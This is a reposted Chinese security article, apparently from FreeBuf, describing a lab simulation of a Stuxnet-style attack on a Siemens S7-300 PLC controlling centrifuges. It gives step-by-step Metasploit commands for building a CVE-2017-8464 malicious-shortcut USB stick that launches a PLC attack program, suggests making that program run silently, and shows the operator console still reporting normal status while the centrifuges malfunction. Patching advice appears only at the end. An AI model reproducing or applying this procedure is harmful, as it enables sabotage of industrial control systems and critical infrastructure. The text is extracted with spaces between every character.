搜索

[12429] 2018-03-05_通过“震网三代”和SiemensPLC0day漏洞，实现对工控系统的入侵实验

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-18
2018-03-05_通过“震网三代”和SiemensPLC0day漏洞，实现对工控系统的入侵实验 通 过 “ 震 网 三 代 ” 和 S i e m e n s   P L C   0 d a y 漏 洞 ， 实 现 对 工 控 系 统 的 入 侵 实 验 L i u k e r T e a m   F r e e B u f   2 0 1 8 - 0 3 - 0 5 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： L i u k e r T e a m ， 本 文 属 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 实 验 环 境 实 验 环 境 渗 透 环 境 ： 渗 透 环 境 ： O S ： K a l i   L i n u x   2 0 1 7 . 3 工 程 师 站 ： 工 程 师 站 ： O S ： W i n d o w s   7   s p 1   x 6 4 I P ： 1 9 2 . 1 6 8 . 0 . 1 5 2 仿 真 平 台 （ 仿 真 伊 朗 核 设 施 的 铀 浓 缩 的 离 心 机 ） ： 仿 真 平 台 （ 仿 真 伊 朗 核 设 施 的 铀 浓 缩 的 离 心 机 ） ： P L C ： S i e m e n s   S 7 - 3 0 0 I P ： 1 9 2 . 1 6 8 . 0 . 2 3 4 漏 洞 ： 漏 洞 ： W i n d o w s ： C V E - 2 0 1 7 - 8 4 6 4
P L C ： 0   d a y 漏 洞 0 x 0 0   前 言 前 言 2 0 0 6 年 ， 伊 朗 重 启 核 设 施 ， 为 了 阻 止 伊 朗 此 举 ， 美 国 派 出 间 谍 买 通 伊 朗 核 工 厂 技 术 人 员 ， 将 含 有 漏 洞 利 用 工 具 的 U 盘 插 入 了 工 厂 控 制 系 统 电 脑 。 紧 接 着 ， 核 工 厂 大 量 离 心 机 无 缘 无 故 损 坏 ， 科 学 家 束 手 无 策 ， 工 厂 被 迫 关 闭 ， 延 迟 核 计 划 。 这 就 是 2 0 1 0 年 曝 光 的 “ 震 网 事 件 （ S t u x n e t ） ” 。 图 2   “ 震 网 ” 事 件 而 攻 击 伊 朗 核 工 厂 的 漏 洞 利 用 工 具 就 是 “ 震 网 一 代 ” ， 它 因 此 被 公 认 为 世 界 上 首 个 网 络 “ 超 级 破 坏 性 武 器 ” 。 2 0 1 1 年 ， “ 震 网 二 代 ” 出 现 ， 因 为 它 会 在 临 时 目 录 下 生 成 名 为 ~ D Q   的 随 机 文 件 ， 也 被 称 作 D u q u 。 2 0 1 7 年 6 月 1 4 日 ， 微 软 发 布 安 全 公 告 ， 修 复 了 可 能 被 黑 客 利 用 的 W i n d o w s 快 捷 方 式 高 危 漏 洞 （ C V E - 2 0 1 7 - 8 4 6 4 ） ， 由 于 其 与 攻 击 伊 朗 核 工 厂 的 震 网 一 代 利 用 漏 洞 相 似 ， 被 业 界 普 遍 称 为 “ 震 网 三 代 ” 。 为 此 ， 本 文 结 合   “ 震 网 三 代 ” 漏 洞 和 西 门 子 0   d a y 漏 洞 两 个 漏 洞 组 合 攻 击 控 制 系 统 的 仿 真 演 示 ， 其 中 “ 震 网 三 代 ” 漏 洞 用 于 触 发 含 有 西 门 子 0   d a y 漏 洞 的 p o c 程 序 。 其 思 路 ： 其 思 路 ： * * 先 把 西 门 子 0   d a y 漏 洞 的 p o c 程 序 编 译 成 e x e 文 件 ， 然 后 e x p l o i t 出 含 * * C V E - 2 0 1 7 - 8 4 6 4 漏 洞 的 快 捷 方 式 ， 漏 洞 的 快 捷 方 式 ， 最 后 把 最 后 把 e x e 程 序 和 快 捷 方 式 装 载 到 程 序 和 快 捷 方 式 装 载 到 U 盘 。 盘 。
图 3   攻 击 U 盘 0 x 0 1   漏 洞 漏 洞 1   C V E - 2 0 1 7 - 8 4 6 4 2 0 1 7 年 6 月 1 4 日 ， 微 软 发 布 编 号 为 C V E - 2 0 1 7 - 8 4 6 4 的 漏 洞 公 告 ， 官 方 介 绍 W i n d o w s 系 统 在 解 析 快 捷 方 式 时 存 在 远 程 执 行 任 意 代 码 的 高 危 漏 洞 。 当 存 在 漏 洞 的 电 脑 被 插 上 存 在 病 毒 木 马 的 U 盘 时 ， 不 需 要 任 何 额 外 操 作 ， 漏 洞 攻 击 程 序 就 可 以 借 此 完 全 控 制 用 户 的 电 脑 系 统 。   该 漏 洞 也 可 能 籍 由 用 户 访 问 网 络 共 享 、 从 互 联 网 下 载 、 拷 贝 文 件 等 操 作 被 触 发 和 利 用 攻 击 。 特 别 是 能 源 、 交 通 、 金 融 等 行 业 的 基 础 设 施 隔 离 网 ， 由 于 需 要 使 用 U 盘 、 移 动 硬 盘 等 存 储 设 备 进 行 数 据 交 换 ， 一 旦 连 接 含 有 漏 洞 （   C V E - 2 0 1 7 - 8 4 6 4 ） 利 用 工 具 的 U 盘 、 移 动 硬 盘 连 接 隔 离 网 内 的 一 台 电 脑 ， 不 需 要 任 何 操 作 ， 电 脑 就 会 被 病 毒 控 制 。 该 漏 洞 的 原 理 同 2 0 1 0 年 美 国 和 以 色 列 入 侵 并 破 坏 伊 朗 核 设 施 的 震 网 行 动 中 所 使 用 的 穿 透 核 设 施 隔 离 网 络 的 漏 洞 （ C V E - 2 0 1 0 - 2 5 6 8 ） 非 常 类 似 ， 它 可 以 很 容 易 的 被 黑 客 利 用 来 攻 击 基 础 设 施 、 存 放 关 键 资 料 的 核 心 隔 离 系 统 等 。 详 细 介 绍 参 考 ： w w w . f r e e b u f . c o m / n e w s / 1 4 3 3 5 3 . h t m l 。 其 影 响 版 本 ： W i n d o w s   7 W i n d o w s   8 . 1 W i n d o w s   R T   8 . 1 W i n d o w s   1 0 W i n d o w s   S e r v e r   2 0 0 8
W i n d o w s   S e r v e r   2 0 0 8   R 2 W i n d o w s   S e r v e r   2 0 1 2 W i n d o w s   S e r v e r   2 0 1 2   R 2 W i n d o w s   S e r v e r   2 0 1 6 2   西 门 子 西 门 子 P L C   0   d a y 漏 洞 漏 洞 该 0   d a y 漏 洞 是 一 个 能 使 离 心 机 的 转 动 异 常 的 漏 洞 。 通 过 V S 2 0 0 8 编 译 成 名 为 a t t a c k e r . e x e 的 文 件 ， 该 文 件 运 行 时 ， 先 连 接 上 P L C ，   然 后 发 送 攻 击 包 ， 最 后 导 致 离 心 机 的 转 动 异 常 。 图 4   攻 击 程 序 a t t a c k e r . e x e ， 配 置 文 件 i n i t . t x t 为 了 演 示 效 果 ， a t t a c k e r . e x e 不 会 静 默 运 行 。 为 了 攻 击 更 加 完 美 ， 你 可 以 使 其 静 默 运 行 。 0 x 0 2   制 作 攻 击 制 作 攻 击 U 盘 盘 目 前 C V E - 2 0 1 7 - 8 4 6 4 漏 洞 可 供 测 试 利 用 的 脚 本 有 如 下 两 个 ： m s f 利 用 脚 本 ： h t t p s : / / g i t h u b . c o m / r a p i d 7 / m e t a s p l o i t - f r a m e w o r k / p u l l / 8 7 6 7 P y t h o n 利 用 脚 本 ： h t t p s : / / g i t h u b . c o m / n i x a w k / l a b s / b l o b / m a s t e r / C V E - 2 0 1 7 - 8 4 6 4 / e x p l o i t _ C V E - 2 0 1 7 - 8 4 6 4 . p y 本 文 着 重 测 试 m s f 脚 本 ， 然 后 将 e x p 拷 贝 至 U 盘 。 下 载 m s f 脚 本 ： 生 成 e x p ： 注 意 ： m s f 脚 本 默 认 对 应 系 统 W i n d o w s   x 6 4 ， 所 以 p a y l o a d 也 选 择 6 4 位 的 e x e c 。 工 程 师 站 P C 中 的 U 盘 可 用 的 盘 符 为 E 盘 。 其 参 数 设 置 如 下 图 5 ： $   c d   / u s r / s h a r e / m e t a s p l o i t - f r a m e w o r k / m o d u l e s / e x p l o i t s / w i n d o w s / f i l e f o r m a t / $   l s   - a l   |   g r e p   c v e _ 2 0 1 7 _ 8 4 6 4 _ l n k _ r c e . r b #   如 果 存 在 ， 就 不 需 要 下 载 $   w g e t   h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / y k o s t e r / m e t a s p l o i t - f r a m e w o r k / m a s t e r / m o d u l e s / e x p l o i t s / w i n d o w s / f i l e f o r m a t / c v e _ 2 0 1 7 _ 8 4 6 4 _ l n k _ r c e . r b >   u s e   e x p l o i t s / w i n d o w s / f i l e f o r m a t / c v e _ 2 0 1 7 _ 8 4 6 4 _ l n k _ r c e >   s e t   p a y l o a d   w i n d o w s / x 6 4 / e x e c >   s e t   d l l n a m e   a t t a c k e r . d l l >   s e t   f i l e n a m e   a t t a c k e r . l n k >   s e t   c m d   e : a t t a c k e r . e x e >   s e t   E X I T F U N C   t h r e a d   >   e x p l o i t
图 5   参 数 设 置 执 行 后 ， 在 生 成 2 4 个 利 用 文 件 ， 如 下 图 6 ： 图 6   e x p l o i t / r o o t / . m s f 4 / l o c a l /
图 7   攻 击 文 件 将 以 上 文 件 复 制 到 U 盘 。 为 了 更 好 适 配 盘 符 ， 你 需 要 分 别 设 置 到 2 3 个 盘 符 的 快 捷 方 式 。 O k ， 这 样 攻 击 U 盘 就 弄 好 了 ~ 0 x 0 3   攻 击 攻 击 万 事 俱 备 只 欠 攻 击 啦 ~ ~ ~ 把 U 盘 插 入 工 程 师 站 的 一 台 P C 中 ， 然 后 就 看 到 如 下 图 8 所 示 ： d - z s e t   c m d   d : a t t a c k e r . e x e s e t   c m d   z : a t t a c k e r . e x e
图 8   开 启 U 盘 自 动 播 放 功 能 ， 插 入 U 盘 后 触 发 漏 洞 上 图 8 中 的 P C 是 开 启 了 U 盘 自 动 播 放 功 能 ， 在 U 盘 插 入 后 ， 系 统 自 动 访 问 了 u 盘 ， 所 以 就 触 发 漏 洞 。 同 样 ， 直 接 访 问 目 录 也 会 触 发 漏 洞 ， 如 下 图 9 所 示 ：
图 9   直 接 访 问 目 录 ， 触 发 漏 洞 ( 此 此 G I F 文 件 过 大 ， 请 阅 读 原 文 查 看 文 件 过 大 ， 请 阅 读 原 文 查 看 ) 此 时 ， 离 心 机 的 状 态 已 经 异 常 了 （ 如 图 1 0 所 示 ） ， 而 从 控 制 台 看 到 离 心 机 的 状 态 （ 如 图 1 1 所 示 ） 是 正 常 的 ！ 图 1 0   离 心 机 状 态 图 1 1   控 制 台 中 的 离 心 机 状 态 N i c e ， 目 前 系 统 已 经 被 攻 击 了 ~ 0 x 0 4   建 议 建 议 上 面 实 验 仿 真 了 伊 朗 “ 震 网 ” 事 件 ， 其 主 要 使 用 了 W i n d o w s   L n k 远 程 代 码 执 行 漏 洞 （ C V E - 2 0 1 7 - 8 4 6 4 ） 和 S i e m e n s   P L C 0 d a y 漏 洞 。   针 对 C V E - 2 0 1 7 - 8 4 6 4 漏 洞 给 出 以 下 几 个 建 议 ： 安 装 补 丁 。 目 前 微 软 已 经 发 布 了 “ W i n d o w s   L n k 远 程 代 码 执 行 漏 洞 （ C V E - 2 0 1 7 - 8 4 6 4 ） ” 的 补 丁 ， 补 丁 下 载 地 址 ： h t t p s : / / p o r t a l . m s r c . m i c r o s o f t . c o m / e n - u s / s e c u r i t y - g u i d a n c e / a d v i s o r y / C V E - 2 0 1 7 - 8 4 6 4 。 若 不 能 及 时 打 补 丁 ， 建 议 禁 用 U 盘 、 网 络 共 享 及 关 闭 W e b c l i e n t   S e r v i c e ， 并 建 议 管 理 员 关 注 是 否 有 业 务 与 上 述 服 务 相 关 并 做 好 恢 复 准 备 。   特 别 是 能 源 、 交 通 、 金 融 等 行 业 需 要 重 视 ， 并 及 时 处 理 。 0 x 0 5   参 考 参 考 C V E - 2 0 1 7 - 8 4 6 4 “ 震 网 三 代 ” C V E - 2 0 1 7 - 8 4 6 4 漏 洞 分 析 和 预 警   -   F r e e B u f 互 联 网 安 全 新 媒 体 平 台   |   关 注 黑 客 与 极 客 “ 震 网 三 代 ” （ C V E - 2 0 1 7 - 8 4 6 4 ） 的 几 种 利 用 方 法 与 防 范   -   F r e e B u f 互 联 网 安 全 新 媒 体 平 台   |   关 注 黑 客 与 极 客
W i n d o w s   L n k 远 程 代 码 执 行 漏 洞 ( C V E - 2 0 1 7 - 8 4 6 4 ) 利 用 测 试   -   嘶 吼   R o a r T a l k   –   回 归 最 本 质 的 信 息 安 全 , 互 联 网 安 全 新 媒 体 , 4 h o u . c o m * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： L i u k e r T e a m ， 本 文 属 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理